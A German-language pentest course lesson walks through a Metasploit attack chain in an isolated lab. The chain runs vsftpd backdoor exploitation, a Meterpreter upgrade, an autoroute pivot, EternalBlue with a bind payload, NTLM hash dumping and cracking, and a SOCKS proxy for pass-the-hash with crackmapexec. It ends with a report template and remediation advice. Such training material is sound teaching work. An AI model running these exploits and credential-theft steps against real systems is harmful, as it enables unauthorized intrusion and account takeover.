Zum Hauptinhalt springen

Metasploit — Geführte Demonstration

Drei aufeinanderfolgende Szenarien. Zuerst nehmen wir vsftpd auf 10.10.10.20 aus, dann pivotieren wir in ein internes Netzwerk 192.168.100.0/24, und schließlich kompromittieren wir einen Rechner, der von Kali aus nicht einmal sichtbar war. Das ist die Demo, die man Sie im Vorstellungsgespräch nachmachen sehen möchte.

Isoliertes Lab

Der Pivot setzt eine Metasploitable-2-VM mit zwei Netzwerkschnittstellen voraus: eine im Bereich 10.10.10.0/24 und eine im Bereich 192.168.100.0/24. Das wird in Schritt 0 konfiguriert. Keines dieser Netzwerke darf ins Internet gelangen können.

Was Sie nach dieser Lektion können werden​

  • 10.10.10.20 mit einem Metasploit-Exploit kompromittieren, ohne einen Exploit von Hand zu starten.
  • Einen Pivot über autoroute + socks_proxy betreiben.
  • Einen von Ihrem Kali aus unsichtbaren Rechner scannen und ausnutzen.
  • Die NTLM-Hashes eines internen Windows-Ziels dumpen.
  • Alles mit einem reproduzierbaren .rc automatisieren.

Schritt 0 — Das Lab vorbereiten​

Fügen Sie auf 10.10.10.20 (Metasploitable 2) in VirtualBox eine zweite Netzwerkschnittstelle hinzu:

  • Adapter 1: Host-only → hostonly1 (10.10.10.0/24). IP: 10.10.10.20.
  • Adapter 2: Host-only → hostonly2 (192.168.100.0/24). IP: 192.168.100.20.

Fügen Sie an diesem selben hostonly2 eine dritte VM hinzu — ein für EternalBlue anfälliges Windows 7 mit der IP 192.168.100.42. Diese VM ist von Kali aus nicht sichtbar — genau das wollen wir.

Aktivieren Sie auf 10.10.10.20 das IP-Forwarding:

sudo sysctl -w net.ipv4.ip_forward=1

Von Kali aus muss nmap 192.168.100.42 fehlschlagen (Network unreachable). Gut. Ziel erreicht: Windows 7 befindet sich hinter unserem ersten Opfer.


Schritt 1 — 10.10.10.20 mit Metasploit kompromittieren​

Greifen Sie den vsftpd-Angriff aus Modul 5 wieder auf — diesmal über Metasploit.

Erstellen Sie ~/labs/semaine-08/vsftpd.rc:

workspace metasploit-demo
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run

Starten Sie:

msfconsole -q -r ~/labs/semaine-08/vsftpd.rc

Ausgabe:

[+] 10.10.10.20:21 - Backdoor service has been spawned, handling...
[+] 10.10.10.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

Gut. Wir sind root. Aber wir wollen Meterpreter für den Pivot. Upgraden wir:

sessions -u 1

Metasploit versucht eine Umwandlung shell → meterpreter über linux/x64/meterpreter/reverse_tcp (neuer Listener-Job) und ein Laden per Python/Perl auf Zielseite. Nach ein paar Sekunden:

[*] Command stager progress: 100.00% (760/760 bytes)
[*] Meterpreter session 2 opened (10.10.10.5:4433 -> 10.10.10.20:...)

Überprüfen Sie:

sessions
Id  Type                 Information       Connection
-- ---- ----------- ----------
1 shell cmd/unix 10.10.10.5:37821 -> 10.10.10.20:6200
2 meterpreter x64/linux uid=0, root 10.10.10.5:4433 -> 10.10.10.20:35182

Wechseln Sie zur Meterpreter-Sitzung:

sessions -i 2
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server ...
Architecture : i686
Meterpreter : x64/linux

Überprüfung der Schnittstellen:

meterpreter > ifconfig

Zwei Schnittstellen. Eine im Bereich 10.10.10.0/24, eine im Bereich 192.168.100.0/24. Das ist unser Pivot.


Schritt 2 — Den Pivot mit autoroute öffnen​

In der Meterpreter-Sitzung:

meterpreter > run autoroute -s 192.168.100.0/24

Ausgabe:

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[*] Adding a route to 192.168.100.0/255.255.255.0...
[+] Added route to 192.168.100.0/255.255.255.0 via 10.10.10.20

Alternative (empfohlen):

meterpreter > background
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 2
msf6 > set SUBNET 192.168.100.0
msf6 > run

Überprüfung:

msf6 > route print

IPv4 Active Routing Table
=========================

Subnet Netmask Gateway
------ ------- -------
192.168.100.0 255.255.255.0 Session 2

Jede Metasploit-Anfrage an 192.168.100.0/24 läuft über Sitzung 2. Der Pivot ist geöffnet.


Schritt 3 — Das interne Netzwerk aus msfconsole scannen​

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.100.0/24
msf6 > set PORTS 22,80,135,139,445,3389
msf6 > set THREADS 20
msf6 > run

Ausgabe (Auszug):

[+] 192.168.100.42:      - 192.168.100.42:135 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:139 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:445 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:3389 - TCP OPEN

Ein Rechner gefunden. Das ist unser Windows 7.

Schneller MS17-010-Test:

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.100.42
msf6 > run
[+] 192.168.100.42:445  - Host is likely VULNERABLE to MS17-010!

Schritt 4 — EternalBlue über den Pivot ausnutzen​

Klassische Falle: Der Standard-Payload reverse_tcp sendet seine Rückverbindung direkt an Kali. Aber das Ziel kann Kali nicht erreichen (keine Rückroute). Man muss einen Bind-Payload verwenden: Das Ziel öffnet einen Port, wir verbinden uns über den Pivot damit.

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.100.42
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > set LPORT 4455
msf6 > run

Ausgabe:

[*] Started bind TCP handler against 192.168.100.42:4455
[*] 192.168.100.42:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.100.42:445 - Host is likely VULNERABLE to MS17-010!
[*] 192.168.100.42:445 - Connecting to target for exploitation.
[+] 192.168.100.42:445 - Connection established for exploitation.
[*] 192.168.100.42:445 - Sending final SMBv1 buffers.
[*] Sending stage (200262 bytes) to 192.168.100.42
[*] Meterpreter session 3 opened

Meterpreter-Sitzung 3. Auf einem Rechner, den Kali nicht sehen konnte. Überprüfen Sie:

sessions -i 3
meterpreter > sysinfo
Computer : WIN7-VICTIM
OS : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture : x64
Domain : WORKGROUP
Meterpreter : x64/windows

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM auf Windows 7, erlangt von Kali aus, über ein kompromittiertes Linux. Das nennt man einen erfolgreichen Pivot.


Schritt 5 — Die Hashes extrahieren​

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
alice:1001:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::

Speichern Sie:

meterpreter > hashdump > /home/kali/labs/semaine-08/preuves/win7-hashes.txt

Knacken wir auf Kali den Administrator-Hash mit hashcat:

hashcat -m 1000 preuves/win7-hashes.txt /usr/share/wordlists/rockyou.txt --username

Nach ein paar Sekunden:

8846f7eaee8fb117ad06bdd830b7586c:password

Das Administrator-Passwort des Windows 7 lautet password. Vollständige Kompromittierung.


Schritt 6 — Eine externe Shell über den Pivot (SOCKS)​

Sie möchten Tools verwenden, die nicht in Metasploit enthalten sind — impacket-secretsdump, crackmapexec, Ihr curl. Öffnen Sie einen SOCKS-Proxy:

msf6 > use auxiliary/server/socks_proxy
msf6 > set VERSION 5
msf6 > set SRVPORT 1080
msf6 > run -j

Bearbeiten Sie /etc/proxychains4.conf:

socks5  127.0.0.1 1080

Verwenden Sie:

proxychains crackmapexec smb 192.168.100.42 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c

Ausgabe:

SMB  192.168.100.42  445  WIN7-VICTIM  [*] Windows 7...
SMB 192.168.100.42 445 WIN7-VICTIM [+] WORKGROUP\Administrator (Pwn3d!)

Sie sind Administrator, mit einem Nicht-Metasploit-Tool, auf einem unsichtbaren Rechner. Das ist die vollständige Pipeline einer klassischen Kompromittierung.


Schritt 7 — Alles in einem .rc​

Reproduzieren Sie alles in demo-complete.rc:

workspace metasploit-demo
route flush

# Schritt 1 - vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run

# Hinweis: An dieser Stelle ist Sitzung 1 vom Typ cmd. Der Befehl sessions -u
# lässt sich in einem .rc nicht sauber automatisieren — wir führen ihn einmal
# von Hand aus und skripten den Rest anschließend mit einem neuen rc.

# Schritt 2 - Pivot
route add 192.168.100.0/24 2

# Schritt 3 - EternalBlue über den Pivot
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run

# Schritt 4 - SOCKS-Proxy für externe Tools
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

# Bestätigung
sessions
route print

Sie starten alles erneut mit einem msfconsole -q -r demo-complete.rc, nachdem Sie die VMs auf einen sauberen Snapshot zurückgesetzt haben.


Schritt 8 — Konsolidieren​

Öffnen Sie ~/labs/semaine-08/rapport/pivot.md:

# Angriff mit Pivot — Lab Woche 8

## 1. Ausgangslage
- Kali: 10.10.10.5
- Ziel 1 (Linux, vsftpd): 10.10.10.20
- Ziel 2 (Windows 7, EternalBlue): 192.168.100.42
- Von Kali aus nicht erreichbar (keine direkte Route)

## 2. Ausnutzungskette
1. RCE vsftpd 2.3.4 → root auf 10.10.10.20
2. Upgrade Shell → Meterpreter
3. Autoroute 192.168.100.0/24 über Sitzung 2
4. Portscan auf 192.168.100.42 aus msfconsole
5. Bestätigung MS17-010 (VULNERABLE)
6. Exploit EternalBlue mit Payload bind_tcp
7. SYSTEM auf Windows 7
8. hashdump → Knacken mit hashcat → Admin-Passwort "password"

## 3. Nachweise
- preuves/vsftpd-session.log
- preuves/pivot-autoroute.log
- preuves/scan-192-portscan.log
- preuves/eternalblue-session.log
- preuves/win7-hashes.txt
- preuves/hashcat-cracked.txt
- preuves/socks-proxychains.log

## 4. Empfehlungen
1. Windows Server 2008 und Windows 7 patchen (Support-Ende).
2. Netzwerke segmentieren: 10.10.10.0/24 sollte nicht ohne zustandsbehaftete
Firewall zu 192.168.100.0/24 routen.
3. SMBv1 überall deaktivieren.
4. Passwortrichtlinie: Hashes wie "password" sollten gar nicht erst vorkommen.

Fazit​

In 60 Minuten:

  • Zwei Ziele kompromittiert (Linux + Windows 7).
  • Ein Netzwerk-Pivot geöffnet und skriptbar.
  • Ein SOCKS-Proxy, der es erlaubt, praktisch jedes Tool über den Pivot zu nutzen.
  • Ein geknackter Hash → Admin-Passwort im Klartext.
  • Alles skriptet in einem reproduzierbaren .rc.

Dieser Workflow — initiale RCE → Upgrade → Pivot → SOCKS → Propagation — ist das Grundgerüst von 80 % der internen Pentest-Aufträge. Sie haben ihn gerade gesehen. Im Workshop werden Sie ihn selbst durchführen.